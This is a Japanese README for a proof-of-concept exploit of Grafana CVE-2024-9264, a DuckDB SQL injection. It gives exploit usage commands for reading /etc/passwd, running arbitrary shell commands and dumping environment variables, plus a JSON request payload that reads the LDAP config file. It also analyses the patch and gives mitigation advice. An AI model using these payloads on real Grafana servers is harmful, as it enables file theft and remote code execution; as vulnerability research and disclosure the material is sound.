
Grafana の任意ファイル読み取りおよび RCE (CVE-2024-9264) のエクスプロイト
このPoCは、CVE-2024-9264の悪用を、認証済みユーザーがDuckDB SQLクエリを実行し、ファイルシステム上の任意のファイルを読み取ったり、リモートで任意のコードを実行したりする方法で示しています。
任意のコードが実行できるのはGrafana v11.0.0のみです。
ファイルはすべての脆弱性が存在するバージョンで読み取ることができます。
セットアップ: 必要な依存関係を以下でインストールします:
pip install -r requirements.txt
ファイル読み取り(全バージョン共通):
python3 CVE-2024-9264.py -u user -p pass -f /etc/passwd http://localhost:3000
コマンド実行(v11.0.0のみ)
python3 CVE-2024-9264.py -u user -p user -c <shell-cmd> http://localhost:3000
また、getenvを呼び出して環境変数を取得するなど、任意のDuckDBクエリを実行することもできます:
python3 CVE-2024-9264.py -u user -p pass -q "SELECT getenv('PATH')" http://localhost:3000
悪用可能なDuckDBユーティリティ関数の一覧はこちらをご覧ください。
CVE-2024-9264は、Grafanaの実験的なSQL Expressions機能におけるDuckDB SQLインジェクションの脆弱性です。認証済みのユーザーは、Grafanaダッシュボードの式を改変することで、任意のDuckDB SQLクエリを実行できます。
影響を受けるバージョン:
修正済みバージョン:
Grafanaはこの脆弱性を修正するために特別なバージョンをリリースしました。パッチを分析するには、以下のコマンドで変更を比較できます:
git checkout v11.0.5+security-01
git diff 0421a8911cfc05a46c516fd9d033a51e52e51afe 70316b3e1418c9054017047e63c1c96abb26f495
これにより、SQL Expressions機能が脆弱性のあるバージョンから単に削除されたことがわかります。
+++ b/pkg/expr/sql/db.go
@@ -0,0 +1,26 @@
+package sql
+
+import (
+ "errors"
+
+ "github.com/grafana/grafana-plugin-sdk-go/data"
+)
+
+type DB struct {
+}
+
+func (db *DB) TablesList(rawSQL string) ([]string, error) {
+ return nil, errors.New("not implemented")
+}
+
+func (db *DB) RunCommands(commands []string) (string, error) {
+ return "", errors.New("not implemented")
+}
+
+func (db *DB) QueryFramesInto(name string, query string, frames []*data.Frame, f *data.Frame) error {
+ return errors.New("not implemented")
+}
+
+func NewInMemoryDB() *DB {
+ return &DB{}
+}
@@ -85,7 +84,7 @@ func (gr *SQLCommand) Execute(ctx context.Context, now time.Time, vars mathexp.V
rsp := mathexp.Results{}
- duckDB := duck.NewInMemoryDB()
+ duckDB := sql.NewInMemoryDB()
var frame = &data.Frame{}
err := duckDB.QueryFramesInto(gr.refID, gr.query, allFrames, frame);
if err != nil {
パッチはSQL Expressionsを完全に削除し、悪用の可能性を防いでいます。
Grafanaの起動: バージョン11.0.5でGrafanaを実行します:
docker run --name=grafana -p 3000:3000 grafana/grafana-enterprise:11.0.5
式の改変:
"Math"のような式を使用したダッシュボードを作成し、Burpでリクエストをインターセプトし、datasourceのタイプをmathからsqlに変更します。
HTTPリクエストは/api/ds/query?ds_type=__expr__&expression=true&requestId=Q101に送信されます。
以下は、./conf/ldap.tomlのような任意のファイルを読み取るDuckDB SQLクエリを実行するために必要な最小限のJSONです:
{
"queries": [
{
"refId": "B",
"datasource": {
"type": "__expr__",
"uid": "__expr__",
"name": "Expression"
},
"type": "sql",
"hide": false,
"expression": "SELECT content FROM read_blob(\"./conf/ldap.toml\")",
"window": ""
}
],
"from": "1729313027261",
"to": "1729334627261"
}
実際の悪用にはダッシュボードは必要ありません。クエリを実行するHTTPリクエストを見つけるための簡単な方法にすぎません。
この脆弱性は重大ですが、悪用可能性はDuckDBバイナリがGrafanaサーバーにインストールされているかどうかに依存することに注意することが重要です。デフォルトでは、GrafanaはDuckDBを同梱しておらず、Grafanaインターフェースから直接インストールするオプションもありません。
この脆弱性が悪用可能であるためには、管理者が手動でDuckDBをインストールし、Grafanaサーバーの$PATHに追加している必要があります。 DuckDBが存在しない場合、SQLインジェクションの脆弱性を活用することはできず、デフォルトのインストールでは悪用の可能性が大幅に低下します。
Grafanaを修正済みバージョンにアップデートし、パッチ適用が遅れる場合は、$PATHにDuckDBバイナリが存在しないことを確認してください。